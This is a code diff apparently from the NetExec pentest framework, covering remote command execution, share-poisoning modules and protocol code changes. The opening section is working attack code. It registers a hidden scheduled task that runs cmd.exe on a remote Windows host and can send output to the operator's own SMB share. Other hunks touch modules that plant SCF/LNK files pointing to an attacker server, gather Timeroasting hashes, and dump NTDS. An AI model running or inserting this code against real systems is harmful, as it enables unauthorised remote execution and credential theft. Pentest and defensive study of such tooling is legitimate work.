xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>{self.user}</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
if self.__retOutput:
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
if self.file is None:
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
else:
self.__output_filename = os.path.join(fileLocation, self.file)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
else:
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
elif self.__retOutput is False:
argument_xml = f" <Arguments>/C {command}</Arguments>"
self.logger.debug(f"Generated argument XML: {argument_xml}")
xml += argument_xml
xml += """
</Exec>
</Actions>
</Task>
"""
return xml
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
# Give self.task a random string as name if not already specified
self.task = gen_random_string(8) if self.task is None else self.task
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Create schedule task got blocked.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_ALREADY_EXISTS" in str(e):
self.logger.fail(f"Create schedule task failed: {e}")
else:
self.logger.fail(f"Create schedule task failed: {e}")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
return
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
if self.__retOutput:
if fileless:
while True:
try:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
sleep(2)
else:
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
sleep(3)
tries += 1
else:
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
dce.disconnect()
+1 -1
View File
@@ -48,7 +48,7 @@ class NXCModule:
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.scf_path, "a") as scuf:
scuf.write("[Shell]\n")
scuf.write("Command=2\n")
+1 -1
View File
@@ -85,7 +85,7 @@ class NXCModule:
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
raise
raise
resp = e.get_packet()
for user in resp["Buffer"]["Buffer"]:
+1 -1
View File
@@ -17,4 +17,4 @@ class NXCModule:
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+3 -3
View File
@@ -15,7 +15,7 @@ class NXCModule:
self.action = None
def options(self, context, module_options):
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
@@ -35,7 +35,7 @@ class NXCModule:
keyHandle = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
regHandle,
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
)["phkResult"]
@@ -64,7 +64,7 @@ class NXCModule:
0
)
context.log.highlight("Shadow RDP disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(
+6 -6
View File
@@ -43,11 +43,11 @@ class NXCModule:
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
@@ -55,11 +55,11 @@ class NXCModule:
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
if "ICO_URI" in module_options:
self.ico_uri = module_options["ICO_URI"]
context.log.debug("Overriding")
self.lnk_name = module_options["NAME"]
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
@@ -74,13 +74,13 @@ class NXCModule:
if shares:
slinky_logger = context.log.init_log_file()
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
+1 -1
View File
@@ -106,7 +106,7 @@ class NXCModule:
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
def find_screenshots_folders(self, user_folder_name):
"""
Dynamically searches for all Screenshots folders in the user's home directory.
+6 -6
View File
@@ -30,7 +30,7 @@ class NXCModule:
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
def options(self, context, module_options):
self.rids = range(1, 2**31)
self.rate = 180
@@ -55,17 +55,17 @@ class NXCModule:
self.target = connection.host
context.log.display("Starting Timeroasting...")
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
context.log.highlight(hashcat_format(rid, md5hash, salt))
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
Rate is the number of queries per second to send.
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
issues.
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
"""
# Flag in key identifier that indicates whether the old or new password should be used.
@@ -105,4 +105,4 @@ class NXCModule:
if answer_rid not in rids_received:
rids_received.add(answer_rid)
yield answer_rid, md5hash, salt
last_ok_time = time()
last_ok_time = time()
+1 -1
View File
@@ -273,4 +273,4 @@ class NXCModule:
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
return users
+2 -2
View File
@@ -34,12 +34,12 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
+1 -1
View File
@@ -102,7 +102,7 @@ class NXCModule:
# Process Bad Password Count
if "badPwdCount" in response:
context.log.highlight(f"Bad Password Count: {response['badPwdCount']}")
context.log.highlight(f"Bad Passwod Count: {response['badPwdCount']}")
# Process servicePrincipalName
if "servicePrincipalName" in response:
+32 -21
View File
@@ -65,6 +65,32 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
future.result()
except Exception:
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
def load_protocol(protocol):
nxc_logger.debug(f"Protocol: {protocol}")
p_loader = ProtocolLoader()
protocol_path = p_loader.get_protocols()[protocol]["path"]
nxc_logger.debug(f"Protocol Path: {protocol_path}")
protocol_db_path = p_loader.get_protocols()[protocol]["dbpath"]
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
db_path = path_join(WORKSPACE_DIR, nxc_workspace, f"{protocol}.db")
nxc_logger.debug(f"DB Path: {db_path}")
db_engine = create_db_engine(db_path)
db = protocol_db_object(db_engine)
# with the new nxc/config.py this can be eventually removed, as it can be imported anywhere
protocol_object.config = nxc_config
return protocol_object, db, db_engine
def main():
@@ -135,27 +161,7 @@ def main():
if hasattr(args, "obfs") and args.obfs:
powershell.obfuscate_ps_scripts = True
nxc_logger.debug(f"Protocol: {args.protocol}")
p_loader = ProtocolLoader()
protocol_path = p_loader.get_protocols()[args.protocol]["path"]
nxc_logger.debug(f"Protocol Path: {protocol_path}")
protocol_db_path = p_loader.get_protocols()[args.protocol]["dbpath"]
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
db_path = path_join(WORKSPACE_DIR, nxc_workspace, f"{args.protocol}.db")
nxc_logger.debug(f"DB Path: {db_path}")
db_engine = create_db_engine(db_path)
db = protocol_db_object(db_engine)
# with the new nxc/config.py this can be eventually removed, as it can be imported anywhere
protocol_object.config = nxc_config
protocol_object, db, db_engine = load_protocol(args.protocol)
if args.module or args.list_modules:
loader = ModuleLoader(args, db, nxc_logger)
@@ -194,6 +200,11 @@ def main():
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
+3 -3
View File
@@ -379,7 +379,7 @@ class DatabaseNavigator(cmd.Cmd):
help_string = """
export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
Exports information to a specified file
* hosts has an additional third option from simple and detailed: signing - this simply writes a list of ips of
hosts where signing is enabled
* keys' third option is either "all" or an id of a key to export
@@ -521,13 +521,13 @@ class NXCDBMenu(cmd.Cmd):
Exits
"""
print_help(help_string)
def main():
if not exists(CONFIG_PATH):
print("[-] Unable to find config file")
sys.exit(1)
parser = argparse.ArgumentParser(
description="NXCDB is a database navigator for NXC",
)
+1 -1
View File
@@ -136,7 +136,7 @@ class ftp(connection):
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Check if the file exists
# Check if the file exists
self.conn.size(filename)
# Attempt to download the file
self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115
+2 -2
View File
@@ -1405,10 +1405,10 @@ class ldap(connection):
# Convert LDAP time to human readable format
def pso_days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
def pso_mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
# Are there even any FGPPs?
self.logger.info("Attempting to enumerate policies...")
resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[])
+1 -1
View File
@@ -188,4 +188,4 @@ class navigator(DatabaseNavigator):
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
print_help(help_string)
+1 -1
View File
@@ -61,4 +61,4 @@ class LDAPResolution:
nxc_logger.error(f"Error getting ldap info {e}")
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain
return machine_name, target_domain
-71
View File
@@ -435,74 +435,3 @@ class mssql(connection):
so_far += simultaneous
return entries
def _qname(self, ident: str) -> str:
if ident is None:
return "[]"
return "[" + str(ident).replace("]", "]]") + "]"
def list_databases(self):
try:
q = (
"SELECT d.name AS DatabaseName, "
" suser_sname(d.owner_sid) AS Owner "
"FROM sys.databases d "
"ORDER BY d.name;"
)
rows = self.conn.sql_query(q) or []
if not rows:
self.logger.display("No databases returned")
return
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for r in rows:
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
except Exception as e:
self.logger.fail(f"Failed to enumerate databases: {e}")
self.logger.debug("list_databases error", exc_info=True)
def database(self):
db_arg = self.args.database
# nxc --database (no value) -> list
if db_arg is True or db_arg is None:
self.list_databases()
return
# nxc --database <name> -> tables
if isinstance(db_arg, str):
try:
safe = db_arg.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if not exists:
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
return
tq = (
f"SELECT t.name AS TableName, t.modify_date "
f"FROM {self._qname(db_arg)}.sys.tables t "
f"ORDER BY t.name;"
)
rows = self.conn.sql_query(tq) or []
except Exception as e:
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
self.logger.debug("database() error", exc_info=True)
return
if not rows:
self.logger.display(f"Database [{db_arg}] has no user tables.")
return
self.logger.display(f"Tables in database: {db_arg}")
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
for r in rows:
mod = r.get("modify_date", "")
if mod and hasattr(mod, "strftime"):
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
self.logger.highlight(f"Total: {len(rows)} table(s)")
return
+2 -3
View File
@@ -6,8 +6,7 @@ def proto_args(parser, parents):
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the mssql db")
mssql_parser.add_argument("--database", nargs="?", const=True, metavar="NAME", help="list databases or list tables for NAME")
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
@@ -32,4 +31,4 @@ def proto_args(parser, parents):
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
return parser
return parser
-275
View File
@@ -1,275 +0,0 @@
import socket
import contextlib
from nxc.config import process_secret
from nxc.connection import connection
from nxc.logger import NXCAdapter
from pymysql.connections import Connection
from pymysql.err import OperationalError
class mysql(connection):
def __init__(self, args, db, host):
self.protocol = "MySQL"
self.remote_version = None
self._pinged = False
super().__init__(args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
"protocol": "MySQL",
"host": self.host,
"port": self.port,
"hostname": self.hostname,
}
)
def create_conn_obj(self):
"""Create the connection object, but defer the actual connection
Because of how proto_flow works, we do an initial custom socket to ensure there is something on the port,
then we can get server information with that same socket if there is something there
"""
self.logger.debug(f"Creating connection object for {self.host}:{self.port}")
# during the initial connection the username and password are actually blank
self.conn = Connection(
host=self.host,
port=self.port,
user=self.username,
password=self.password,
defer_connect=True,
)
self.logger.debug(f"Connection object created for {self.host}:{self.port}")
# we don't want to do additional useless TCP handshake requests for connect(), etc, so we only "ping" it once
if not self._pinged:
self.logger.debug(f"Making initial socket connection to {self.host}:{self.port}")
try:
self.conn._sock = socket.create_connection((self.host, self.port))
self._pinged = True
except Exception as e:
self.logger.debug(f"Error creating socket connection: {e}")
return False
return True
def enum_host_info(self):
"""Use existing socket but only get the server information
The way we do this actually sends less packets than nmap -sV, since they open a socket for ping then don't reuse it
We also don't want to send a QUIT message, so we use _force_close()
"""
self.logger.debug("Getting server information")
try:
# setup the socket for the server information request
self.conn._rfile = self.conn._sock.makefile("rb")
self.conn._next_seq_id = 0
self.conn._get_server_information()
if self.conn.server_version:
self.remote_version = self.conn.server_version
self.logger.debug(f"Server information: {self.remote_version}")
try:
self.db.add_host(self.host, self.port, self.remote_version)
except IndexError as e:
self.logger.debug(f"Error adding host to DB: {e}, trying one more time...")
self.db.add_host(self.host, self.port, self.remote_version)
with contextlib.suppress(Exception):
self.conn._force_close() # close the socket without sending a QUIT message
except OperationalError as e:
if "is not allowed to connect to" in str(e):
self.logger.fail("Host is not allowed to connect to server")
exit(1)
else:
self.logger.fail(f"Error getting server information: {e}")
def print_host_info(self):
if self.remote_version:
self.logger.display(f"MySQL Version: {self.remote_version}")
def plaintext_login(self, username, password):
"""Authenticate with MySQL server using username/password via pymysql connect."""
self.password = password
self.username = username
self.create_conn_obj()
try:
self.logger.debug(f"Attempting login with {username}:{process_secret(password)}")
self.conn.connect()
self.logger.debug(f"Authenticated to {self.host}:{self.port}")
self.logger.success(f"{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
cred_id = self.db.add_credential(username, password)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(cred_id, host_id)
return True
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
with contextlib.suppress(Exception):
if self.conn:
self.conn.close()
return False
def query(self):
"""Execute a custom SQL query."""
sql = self.args.query
try:
cursor = self.conn.cursor()
self.logger.display(f"Executing query: {sql}")
cursor.execute(sql)
if cursor.description:
results = cursor.fetchall()
if results:
self.logger.display(f"Query Results ({len(results)} rows):")
for i, row in enumerate(results):
self.logger.highlight(f"Row {i + 1}: {row}")
else:
self.logger.display("Query executed successfully (no results)")
else:
affected_rows = cursor.rowcount
self.logger.display(f"Query executed successfully. {affected_rows} rows affected.")
cursor.close()
except Exception as e:
self.logger.fail(f"Error executing query: {e}")
def databases(self):
"""List all databases."""
try:
cursor = self.conn.cursor()
try:
cursor.execute("SHOW DATABASES")
except Exception:
cursor.execute("SHOW DATABASES LIKE '%'")
databases = cursor.fetchall()
if databases:
self.logger.display(f"Available Databases ({len(databases)}):")
for db in databases:
self.logger.highlight(db[0])
else:
self.logger.display("No databases found or access denied.")
cursor.close()
except Exception as e:
self.logger.fail(f"Error listing databases: {e}")
def tables(self):
"""List tables in specified database."""
database = self.args.tables
try:
cursor = self.conn.cursor()
cursor.execute(f"USE `{database}`")
try:
cursor.execute("SHOW TABLES")
except Exception:
cursor.execute(f"SHOW TABLES FROM `{database}`")
results = cursor.fetchall()
if results:
self.logger.display(f"Tables in {database} ({len(results)}):")
for table in results:
self.logger.highlight(table[0])
else:
self.logger.display(f"No tables found in database '{database}' or access denied.")
cursor.close()
except Exception as e:
self.logger.fail(f"Error listing tables: {e}")
def dump_database(self):
"""Dump database structure and sample data."""
database = self.args.dump_database
try:
cursor = self.conn.cursor()
cursor.execute(f"USE `{database}`")
try:
cursor.execute("SHOW TABLES")
except Exception:
cursor.execute(f"SHOW TABLES FROM `{database}`")
tables = cursor.fetchall()
if not tables:
self.logger.display(f"No tables found in database '{database}'")
cursor.close()
return
self.logger.display(f"Database dump for {database} ({len(tables)} tables):")
for table in tables:
table_name = table[0]
self.logger.highlight(f"Table: {table_name}")
try:
cursor.execute(f"DESCRIBE `{table_name}`")
structure = cursor.fetchall()
if structure:
self.logger.display(" Schema:")
self.logger.display(f" {'Field':<15} | {'Type':<15} | {'Null':<4} | {'Key':<15} | {'Default':<15} | {'Extra':<15}")
self.logger.display(f" {'-' * 15} | {'-' * 15} | {'-' * 4} | {'-' * 15} | {'-' * 15} | {'-' * 15}")
for col in structure:
formatted_values = []
for idx, value in enumerate(col):
# third column is whether the column is nullable, so either YES or NO
if idx != 2:
formatted_values.append(f"{value!s:<15}")
else:
formatted_values.append(f"{value!s:<4}")
self.logger.display(f" {' | '.join(formatted_values)}")
try:
cursor.execute(f"SELECT * FROM `{table_name}` LIMIT 5")
data = cursor.fetchall()
if data:
self.logger.display(f" Data ({len(data)} rows):")
for i, row in enumerate(data):
self.logger.display(f" Row {i + 1}: {row}")
else:
self.logger.display(" Data: No data in table")
except Exception as e:
self.logger.display(f" Data: Error reading data - {e}")
except Exception as e:
self.logger.display(f" Error processing table: {e}")
self.logger.display("")
cursor.close()
except Exception as e:
self.logger.fail(f"Error dumping database: {e}")
def server_capabilities(self):
"""Display MySQL server capabilities."""
try:
cursor = self.conn.cursor()
capabilities = {}
try:
cursor.execute("SHOW VARIABLES LIKE 'have_ssl'")
result = cursor.fetchone()
capabilities["ssl"] = result[1] if result else "Unknown"
except Exception:
capabilities["ssl"] = "Not supported"
try:
cursor.execute("SHOW PLUGINS")
plugins = cursor.fetchall()
auth_plugins = [row[1] for row in plugins if "auth" in row[1].lower()]
capabilities["auth_plugins"] = auth_plugins
except Exception:
capabilities["auth_plugins"] = ["Unknown"]
try:
cursor.execute("SELECT @@sql_mode")
result = cursor.fetchone()
capabilities["sql_mode"] = result[0] if result else "Unknown"
except Exception:
capabilities["sql_mode"] = "Unknown"
cursor.close()
self.logger.display("Server capabilities:")
self.logger.display(f" SSL: {capabilities['ssl']}")
self.logger.display(f" Auth plugins: {capabilities['auth_plugins']}")
self.logger.display(f" SQL mode: {capabilities['sql_mode']}")
except Exception as e:
self.logger.debug(f"Error getting server capabilities: {e}")
return {}
-1
View File
@@ -1 +0,0 @@
-278
View File
@@ -1,278 +0,0 @@
import sys
from sqlalchemy import Table, select, delete, func
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.exc import (
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB, format_host_query
from nxc.logger import nxc_logger
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
db_conn.execute(
"""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text
)"""
)
db_conn.execute(
"""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"host" text,
"port" integer,
"banner" text
)"""
)
db_conn.execute(
"""CREATE TABLE "loggedin_relations" (
"id" integer PRIMARY KEY,
"credid" integer,
"hostid" integer,
FOREIGN KEY(credid) REFERENCES credentials(id),
FOREIGN KEY(hostid) REFERENCES hosts(id)
)"""
)
def reflect_tables(self):
with self.db_engine.connect():
try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def add_host(self, host, port, banner):
"""Check if this host is already in the DB, if not add it"""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"host": host,
"port": port,
"banner": banner,
}
hosts = [new_host]
# update existing hosts data
else:
for host_result in results:
host_data = host_result._asdict()
nxc_logger.debug(f"host: {host_result}")
nxc_logger.debug(f"host_data: {host_data}")
# only update column if it is being passed in
if host is not None:
host_data["host"] = host
if port is not None:
host_data["port"] = port
if banner is not None:
host_data["banner"] = banner
# only add host to be updated if it has changed
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Hosts: {hosts}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts)
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_credential(self, username, password):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.db_execute(q).all()
# add new credential
if not results:
new_cred = {
"username": username,
"password": password,
}
credentials = [new_cred]
# update existing cred data
else:
for creds in results:
# this will include the id, so we don't touch it
cred_data = creds._asdict()
# only update column if it is being passed in
if username is not None:
cred_data["username"] = username
if password is not None:
cred_data["password"] = password
# only add cred to be updated if it has changed
if cred_data not in credentials:
credentials.append(cred_data)
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.CredentialsTable)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials)
# hacky way to get cred_id since we can't use returning() yet
if len(credentials) == 1:
return self.get_credential(username, password)
else:
return credentials
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
del_hosts = []
for cred_id in creds_id:
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
q = select(self.CredentialsTable).filter(
self.CredentialsTable.c.id == credential_id,
self.CredentialsTable.c.password is not None,
)
results = self.db_execute(q).all()
return len(results) > 0
def get_credential(self, username, password):
q = select(self.CredentialsTable).filter(
self.CredentialsTable.c.username == username,
self.CredentialsTable.c.password == password,
)
results = self.db_execute(q).first()
if results is not None:
return results.id
def get_credentials(self, filter_term=None):
"""Return credentials from the database."""
# if we're returning a single credential by ID
if self.is_credential_valid(filter_term):
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term)
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
